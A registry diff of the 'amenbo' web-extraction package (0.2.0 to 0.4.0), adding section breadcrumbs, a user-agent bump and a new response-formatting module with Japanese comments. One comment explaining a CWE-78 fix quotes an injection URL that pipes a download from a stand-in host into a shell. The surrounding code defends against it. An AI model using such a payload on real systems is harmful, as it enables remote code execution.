amenbo 0.2.0 → 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +3 -2
- package/README.md +3 -2
- package/dist/adapters/index.d.ts +3 -1
- package/dist/adapters/index.js +3 -3
- package/dist/adapters/index.js.map +1 -1
- package/dist/cache.d.ts +17 -1
- package/dist/cache.js +105 -54
- package/dist/cache.js.map +1 -1
- package/dist/cli.js +2 -1
- package/dist/cli.js.map +1 -1
- package/dist/core.d.ts +21 -33
- package/dist/core.js +10 -204
- package/dist/core.js.map +1 -1
- package/dist/extract/markdown.d.ts +116 -0
- package/dist/extract/markdown.js +502 -4
- package/dist/extract/markdown.js.map +1 -1
- package/dist/extract/outline.d.ts +18 -0
- package/dist/extract/outline.js +22 -3
- package/dist/extract/outline.js.map +1 -1
- package/dist/fetcher/http.d.ts +1 -1
- package/dist/fetcher/http.js +1 -1
- package/dist/formatting.d.ts +48 -0
- package/dist/formatting.js +203 -0
- package/dist/formatting.js.map +1 -0
- package/dist/server.js +2 -1
- package/dist/server.js.map +1 -1
- package/package.json +1 -1
package/dist/extract/outline.js
CHANGED
|
@@ -42,7 +42,7 @@ export function splitSections(markdown) {
|
|
|
42
42
|
if (headings.length === 0) {
|
|
43
43
|
if (markdown.trim().length === 0)
|
|
44
44
|
return [];
|
|
45
|
-
return [{ id: "s1", level: 1, heading: "(見出しなし)", content: markdown, ownContent: markdown }];
|
|
45
|
+
return [{ id: "s1", level: 1, heading: "(見出しなし)", ancestors: [], content: markdown, ownContent: markdown }];
|
|
46
46
|
}
|
|
47
47
|
const stack = [];
|
|
48
48
|
const emitted = [];
|
|
@@ -56,10 +56,13 @@ export function splitSections(markdown) {
|
|
|
56
56
|
}
|
|
57
57
|
counter++;
|
|
58
58
|
const headingLine = lines[heading.lineIndex] ?? `${"#".repeat(heading.level)} ${heading.text}`;
|
|
59
|
+
// whileループで上位より浅い見出しをpop済みのため、この時点のstackは丁度この節の祖先。
|
|
60
|
+
const ancestors = stack.map((open) => ({ level: open.level, heading: open.heading }));
|
|
59
61
|
const section = {
|
|
60
62
|
id: `s${counter}`,
|
|
61
63
|
level: heading.level,
|
|
62
64
|
heading: heading.text,
|
|
65
|
+
ancestors,
|
|
63
66
|
lines: [],
|
|
64
67
|
ownLines: [],
|
|
65
68
|
content: "",
|
|
@@ -90,6 +93,7 @@ export function splitSections(markdown) {
|
|
|
90
93
|
id: section.id,
|
|
91
94
|
level: section.level,
|
|
92
95
|
heading: section.heading,
|
|
96
|
+
ancestors: section.ancestors,
|
|
93
97
|
content: section.lines.join("\n"),
|
|
94
98
|
// 末尾の空行の有無は意味的な差ではないため、比較用のownContentはtrimして正規化する
|
|
95
99
|
// (前後の節の増減で「次の見出しの直前の空行の数」が変わるだけの見かけ上の差分を防ぐ)
|
|
@@ -134,9 +138,24 @@ export function buildOutline(markdown) {
|
|
|
134
138
|
totalTokens: estimateTokens(markdown),
|
|
135
139
|
};
|
|
136
140
|
}
|
|
141
|
+
/** section IDに対応する節(祖先breadcrumb含む)を取得する。無ければnull。 */
|
|
142
|
+
export function findSection(markdown, sectionId) {
|
|
143
|
+
const sections = splitSections(markdown);
|
|
144
|
+
return sections.find((section) => section.id === sectionId) ?? null;
|
|
145
|
+
}
|
|
137
146
|
/** section IDに対応する節のMarkdown本文(ネストした子見出しを含む)を取得する。無ければnull。 */
|
|
138
147
|
export function extractSection(markdown, sectionId) {
|
|
139
|
-
|
|
140
|
-
|
|
148
|
+
return findSection(markdown, sectionId)?.content ?? null;
|
|
149
|
+
}
|
|
150
|
+
/**
|
|
151
|
+
* 節の祖先見出しを ` › ` 区切りのbreadcrumb文字列にする。祖先が無ければnull。
|
|
152
|
+
* leaf節を単独取得したときに「この内容が何に属すか」をヘッダで補うために使う。
|
|
153
|
+
*/
|
|
154
|
+
export function formatBreadcrumb(ancestors) {
|
|
155
|
+
if (ancestors.length === 0)
|
|
156
|
+
return null;
|
|
157
|
+
// 見出しにMarkdownリンク記法が残るとbreadcrumbがURL断片で汚れる(MDN等の
|
|
158
|
+
// アンカー付き見出し)。excerptと同様、リンク先URLに意味は無いためテキストのみ残す。
|
|
159
|
+
return ancestors.map((a) => stripMarkdownLinks(a.heading).trim()).join(" › ");
|
|
141
160
|
}
|
|
142
161
|
//# sourceMappingURL=outline.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"outline.js","sourceRoot":"","sources":["../../src/extract/outline.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AACH,OAAO,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AAe9C,MAAM,iBAAiB,GAAG,CAAC,CAAC;AAC5B,MAAM,kBAAkB,GAAG,EAAE,CAAC;AAC9B,MAAM,eAAe,GAAG,mBAAmB,CAAC;AAQ5C,gDAAgD;AAChD,SAAS,gBAAgB,CAAC,KAAe;IACvC,MAAM,QAAQ,GAAkB,EAAE,CAAC;IACnC,IAAI,OAAO,GAAG,KAAK,CAAC;IAEpB,KAAK,CAAC,OAAO,CAAC,CAAC,IAAI,EAAE,SAAS,EAAE,EAAE;QAChC,IAAI,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;YACzB,OAAO,GAAG,CAAC,OAAO,CAAC;YACnB,OAAO;QACT,CAAC;QACD,IAAI,OAAO;YAAE,OAAO;QAEpB,MAAM,KAAK,GAAG,eAAe,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACzC,IAAI,KAAK,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,CAAC,CAAC,CAAC,KAAK,SAAS,EAAE,CAAC;YACzC,QAAQ,CAAC,IAAI,CAAC,EAAE,SAAS,EAAE,KAAK,EAAE,KAAK,CAAC,CAAC,CAAC,CAAC,MAAM,EAAE,IAAI,EAAE,KAAK,CAAC,CAAC,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,CAAC;QAC9E,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,OAAO,QAAQ,CAAC;AAClB,CAAC;
|
|
1
|
+
{"version":3,"file":"outline.js","sourceRoot":"","sources":["../../src/extract/outline.ts"],"names":[],"mappings":"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"}
|
package/dist/fetcher/http.d.ts
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import { type Headers } from "undici";
|
|
2
|
-
export declare const USER_AGENT = "amenbo/0.
|
|
2
|
+
export declare const USER_AGENT = "amenbo/0.4 (+https://github.com/Rererr/amenbo)";
|
|
3
3
|
/** IPアドレス(v4/v6)がprivate/loopback/link-local等の予約アドレスかどうか判定する。 */
|
|
4
4
|
export declare function isPrivateOrReservedIp(ip: string): boolean;
|
|
5
5
|
/**
|
package/dist/fetcher/http.js
CHANGED
|
@@ -25,7 +25,7 @@ import Encoding from "encoding-japanese";
|
|
|
25
25
|
// fetchとAgentを同一のundiciパッケージ由来に揃えることで、Nodeバージョンに依存しなくする。
|
|
26
26
|
import { Agent as UndiciAgent, fetch as undiciFetch } from "undici";
|
|
27
27
|
import { AmenboError, FetchTimeoutError, HttpStatusError, InvalidUrlError, NetworkError, PayloadTooLargeError, PrivateAddressError } from "../errors.js";
|
|
28
|
-
export const USER_AGENT = "amenbo/0.
|
|
28
|
+
export const USER_AGENT = "amenbo/0.4 (+https://github.com/Rererr/amenbo)";
|
|
29
29
|
const DEFAULT_TIMEOUT_MS = 15_000;
|
|
30
30
|
const MAX_REDIRECTS = 5;
|
|
31
31
|
const META_SNIFF_BYTES = 2048;
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* formatting.ts — 応答フォーマット。各ツール応答の文字列整形のみを担当。I/O・cache参照を持たない純関数群。
|
|
3
|
+
*/
|
|
4
|
+
import type { CacheEntry } from "./cache.js";
|
|
5
|
+
import type { ImageBlock, ResolvedPage, ResolvedScreenshot, TextBlock } from "./core.js";
|
|
6
|
+
import type { SectionDiff } from "./diff.js";
|
|
7
|
+
import type { OutlineResult } from "./extract/outline.js";
|
|
8
|
+
import type { HandoffResult } from "./fetcher/index.js";
|
|
9
|
+
import type { LinksResult } from "./links.js";
|
|
10
|
+
import { type PaginatedResult } from "./tokens.js";
|
|
11
|
+
/** 機能C: 構造化データリンクのヒント(検出ゼロなら空文字=トークン増ゼロ)。 */
|
|
12
|
+
export declare function dataSourcesSection(hints: string[]): string;
|
|
13
|
+
export declare function formatMarkdownResponse(page: ResolvedPage, paginated: PaginatedResult, sectionId: string | null, templateRemovedCount: number, breadcrumb?: string | null): string;
|
|
14
|
+
/** §3-3 差分応答: 本文ハッシュ一致(約10トークンの短文応答)。 */
|
|
15
|
+
export declare function formatUnchangedResponse(page: ResolvedPage): string;
|
|
16
|
+
/** §3-3 差分応答: 変更・追加・削除された節のみ返却。 */
|
|
17
|
+
export declare function formatDiffResponse(page: ResolvedPage, sections: SectionDiff[], templateRemovedCount: number): string;
|
|
18
|
+
export declare function formatOutlineResponse(page: ResolvedPage, outline: OutlineResult, templateRemovedCount: number): string;
|
|
19
|
+
export declare function buildScreenshotContent(page: {
|
|
20
|
+
title: string | null;
|
|
21
|
+
}, screenshot: ResolvedScreenshot, reason: string | null): Array<TextBlock | ImageBlock>;
|
|
22
|
+
export declare function formatLinksResponse(url: string, result: LinksResult): string;
|
|
23
|
+
/**
|
|
24
|
+
* URLのパス末尾からファイル名を推測する(curl -o のデフォルト値用)。取れなければ"download"。
|
|
25
|
+
*
|
|
26
|
+
* セキュリティ修正(CWE-78): WHATWG URLパーサは `'` `;` `|` `$` `` ` `` 等のパス中の文字を
|
|
27
|
+
* パーセントエンコードしないため、攻撃者が細工したURL(例: `/$(curl evil.example|sh).csv`)経由で
|
|
28
|
+
* このファイル名がそのままシェルコマンド文字列(hint行)に混入し、コマンドインジェクションが
|
|
29
|
+
* 成立しうる。curlに渡す提案コマンドの一部として安全に提示できるよう、英数字・`.`・`-`・`_`
|
|
30
|
+
* 以外は全て `_` に置換する。
|
|
31
|
+
*/
|
|
32
|
+
export declare function guessFilename(url: string): string;
|
|
33
|
+
/**
|
|
34
|
+
* シェルの単一引用符コンテキストへ値を安全に埋め込む(CWE-78対策)。
|
|
35
|
+
* 単一引用符内では `'` 以外は解釈されないため、`'` のみ「引用符を閉じ、
|
|
36
|
+
* エスケープ済み`'`を1つ挿入し、再び引用符を開く」(`'\''`)という定石で表現する。
|
|
37
|
+
*/
|
|
38
|
+
export declare function shellQuoteSingle(value: string): string;
|
|
39
|
+
/**
|
|
40
|
+
* 機能B: HTML/PDF以外のコンテンツタイプを「行き止まり」のエラーではなく、
|
|
41
|
+
* メタデータ+プレビュー+curl誘導の正常応答として整形する。
|
|
42
|
+
* ファイル全体がAMENBO_MAX_BODY_BYTESを超える場合(Content-Length既知時)は
|
|
43
|
+
* プレビュー自体を省略し、メタデータ+誘導のみを返す。
|
|
44
|
+
*/
|
|
45
|
+
export declare function formatHandoffResponse(handoff: HandoffResult, maxTokens: number): string;
|
|
46
|
+
export declare function formatPdfTextResponse(title: string | null, finalUrl: string, cacheStatus: "fresh" | "miss", pdfPageCount: number, paginated: PaginatedResult): string;
|
|
47
|
+
/** キャッシュ済みPDFエントリからテキスト応答を組み立てる(fresh応答/304再検証後の応答で共用)。 */
|
|
48
|
+
export declare function formatPdfResponseFromCache(url: string, cached: CacheEntry, maxTokens: number, page: number): string;
|
|
@@ -0,0 +1,203 @@
|
|
|
1
|
+
import { buildHandoffPreview } from "./extract/preview.js";
|
|
2
|
+
import { resolveDefaultMaxBodyBytes } from "./fetcher/http.js";
|
|
3
|
+
import { paginateMarkdown } from "./tokens.js";
|
|
4
|
+
function adapterLine(adapterName) {
|
|
5
|
+
return adapterName ? [`adapter: ${adapterName}`] : [];
|
|
6
|
+
}
|
|
7
|
+
/**
|
|
8
|
+
* 抽出経路の注記。"readability"(既定の成功経路)/"adapter"(adapter:行と重複するため省略)/
|
|
9
|
+
* "selector"(ユーザー指定なので自明)は表示せず、Phase 4の "geometry" と、
|
|
10
|
+
* 品質が疑わしい "body-fallback" のみユーザーへ明示する(トークン節約)。
|
|
11
|
+
*/
|
|
12
|
+
function extractionMethodLine(method) {
|
|
13
|
+
return method === "geometry" || method === "body-fallback" ? [`extraction: ${method}`] : [];
|
|
14
|
+
}
|
|
15
|
+
/** Phase 4: テンプレート学習で除去した定型ブロック数(0件なら表示しない。トークン節約)。 */
|
|
16
|
+
function templateRemovedLine(templateRemovedCount) {
|
|
17
|
+
return templateRemovedCount > 0 ? [`template_blocks_removed: ${templateRemovedCount}`] : [];
|
|
18
|
+
}
|
|
19
|
+
/** N6: 単一ブロックがmax_tokens予算を超過し、分割できずそのまま返した場合のみ明示する。 */
|
|
20
|
+
function budgetExceededLine(paginated) {
|
|
21
|
+
return paginated.exceededBudget ? [`budget_exceeded: true(単一ブロックがmax_tokensを超過しています)`] : [];
|
|
22
|
+
}
|
|
23
|
+
/** 機能C: 構造化データリンクのヒント(検出ゼロなら空文字=トークン増ゼロ)。 */
|
|
24
|
+
export function dataSourcesSection(hints) {
|
|
25
|
+
return hints.length > 0 ? `\n\ndata_sources:\n${hints.join("\n")}` : "";
|
|
26
|
+
}
|
|
27
|
+
export function formatMarkdownResponse(page, paginated, sectionId, templateRemovedCount, breadcrumb = null) {
|
|
28
|
+
const header = [
|
|
29
|
+
`title: ${page.title ?? "(なし)"}`,
|
|
30
|
+
`url: ${page.finalUrl}`,
|
|
31
|
+
`mode_used: markdown`,
|
|
32
|
+
...(sectionId ? [`section: ${sectionId}`] : []),
|
|
33
|
+
// leaf節を単独取得したとき、この節が属する上位見出しの連なりを補い文脈喪失を防ぐ。
|
|
34
|
+
...(breadcrumb ? [`section_path: ${breadcrumb}`] : []),
|
|
35
|
+
`cache: ${page.cacheStatus}`,
|
|
36
|
+
`tokens: ${paginated.tokens}`,
|
|
37
|
+
`page: ${paginated.page} of ${paginated.totalPages}`,
|
|
38
|
+
`fetch_tier: ${page.tier}`,
|
|
39
|
+
`pruned_blocks: ${page.prunedBlockCount}`,
|
|
40
|
+
...adapterLine(page.adapterName),
|
|
41
|
+
...extractionMethodLine(page.extractionMethod),
|
|
42
|
+
...templateRemovedLine(templateRemovedCount),
|
|
43
|
+
...budgetExceededLine(paginated),
|
|
44
|
+
].join("\n");
|
|
45
|
+
return `${header}\n\n${paginated.content}${dataSourcesSection(page.dataSourceHints)}`;
|
|
46
|
+
}
|
|
47
|
+
/** §3-3 差分応答: 本文ハッシュ一致(約10トークンの短文応答)。 */
|
|
48
|
+
export function formatUnchangedResponse(page) {
|
|
49
|
+
return [`url: ${page.finalUrl}`, `mode_used: markdown`, `cache: unchanged`].join("\n");
|
|
50
|
+
}
|
|
51
|
+
function formatSectionDiffBlock(diff) {
|
|
52
|
+
const label = diff.type === "added" ? "追加" : diff.type === "removed" ? "削除" : "変更";
|
|
53
|
+
if (diff.type === "removed") {
|
|
54
|
+
return `${"#".repeat(diff.level)} ${diff.heading} [${label}]`;
|
|
55
|
+
}
|
|
56
|
+
const lines = diff.content.split("\n");
|
|
57
|
+
if (lines.length > 0 && /^#{1,6}\s/.test(lines[0] ?? "")) {
|
|
58
|
+
lines[0] = `${lines[0]} [${label}]`;
|
|
59
|
+
return lines.join("\n");
|
|
60
|
+
}
|
|
61
|
+
return `${"#".repeat(diff.level)} ${diff.heading} [${label}]\n\n${diff.content}`;
|
|
62
|
+
}
|
|
63
|
+
/** §3-3 差分応答: 変更・追加・削除された節のみ返却。 */
|
|
64
|
+
export function formatDiffResponse(page, sections, templateRemovedCount) {
|
|
65
|
+
const counts = { added: 0, changed: 0, removed: 0 };
|
|
66
|
+
for (const section of sections)
|
|
67
|
+
counts[section.type]++;
|
|
68
|
+
const header = [
|
|
69
|
+
`title: ${page.title ?? "(なし)"}`,
|
|
70
|
+
`url: ${page.finalUrl}`,
|
|
71
|
+
`mode_used: markdown`,
|
|
72
|
+
`cache: diff`,
|
|
73
|
+
`changed_sections: ${sections.length}(追加${counts.added}/変更${counts.changed}/削除${counts.removed})`,
|
|
74
|
+
`fetch_tier: ${page.tier}`,
|
|
75
|
+
...adapterLine(page.adapterName),
|
|
76
|
+
...extractionMethodLine(page.extractionMethod),
|
|
77
|
+
...templateRemovedLine(templateRemovedCount),
|
|
78
|
+
].join("\n");
|
|
79
|
+
return `${header}\n\n${sections.map(formatSectionDiffBlock).join("\n\n")}${dataSourcesSection(page.dataSourceHints)}`;
|
|
80
|
+
}
|
|
81
|
+
export function formatOutlineResponse(page, outline, templateRemovedCount) {
|
|
82
|
+
const header = [
|
|
83
|
+
`title: ${page.title ?? "(なし)"}`,
|
|
84
|
+
`url: ${page.finalUrl}`,
|
|
85
|
+
`mode_used: outline`,
|
|
86
|
+
`cache: ${page.cacheStatus}`,
|
|
87
|
+
`total_tokens: ${outline.totalTokens}`,
|
|
88
|
+
`fetch_tier: ${page.tier}`,
|
|
89
|
+
...adapterLine(page.adapterName),
|
|
90
|
+
...extractionMethodLine(page.extractionMethod),
|
|
91
|
+
...templateRemovedLine(templateRemovedCount),
|
|
92
|
+
].join("\n");
|
|
93
|
+
const body = outline.sections
|
|
94
|
+
.map((section) => `${" ".repeat(section.level - 1)}- [${section.id}] ${"#".repeat(section.level)} ${section.heading} — ${section.excerpt} (~${section.tokens} tok)`)
|
|
95
|
+
.join("\n") || "(見出しが見つかりませんでした。mode: markdown で全文を取得してください)";
|
|
96
|
+
return `${header}\n\n${body}`;
|
|
97
|
+
}
|
|
98
|
+
export function buildScreenshotContent(page, screenshot, reason) {
|
|
99
|
+
const header = [
|
|
100
|
+
`title: ${page.title ?? "(なし)"}`,
|
|
101
|
+
`url: ${screenshot.finalUrl}`,
|
|
102
|
+
`mode_used: screenshot`,
|
|
103
|
+
`cache: ${screenshot.cacheStatus}`,
|
|
104
|
+
`reason: ${reason ?? "明示的にscreenshotが指定されました"}`,
|
|
105
|
+
`tiles: ${screenshot.tiles.length}`,
|
|
106
|
+
`page_size: ${screenshot.pageWidth}x${screenshot.pageHeight}`,
|
|
107
|
+
`fetch_tier: browser`,
|
|
108
|
+
// N7: MAX_TILES切り捨てが発生した場合のみ明示する(トークン節約)
|
|
109
|
+
...(screenshot.truncated ? [`truncated: true(MAX_TILES枚を超えるため切り捨てました)`] : []),
|
|
110
|
+
].join("\n");
|
|
111
|
+
return [
|
|
112
|
+
{ type: "text", text: header },
|
|
113
|
+
...screenshot.tiles.map((tile) => ({ type: "image", data: tile.data.toString("base64"), mimeType: "image/png" })),
|
|
114
|
+
];
|
|
115
|
+
}
|
|
116
|
+
export function formatLinksResponse(url, result) {
|
|
117
|
+
const header = [`url: ${url}`, `source: ${result.source}`, `count: ${result.links.length}${result.truncated ? " (truncated)" : ""}`].join("\n");
|
|
118
|
+
const body = result.links.map((link) => (link.title ? `- ${link.title} — ${link.url}` : `- ${link.url}`)).join("\n");
|
|
119
|
+
// レビュー指摘対応: 0件のとき、フィルタで全部落ちたのか(preFilterCount>0)、
|
|
120
|
+
// sitemap/RSS/ページ自体が空だったのか(preFilterCount===0)をエージェントが判別できるようにする。
|
|
121
|
+
// filter未指定時はpreFilterCount===links.lengthのためこの分岐には入らない。
|
|
122
|
+
const empty = result.preFilterCount > 0
|
|
123
|
+
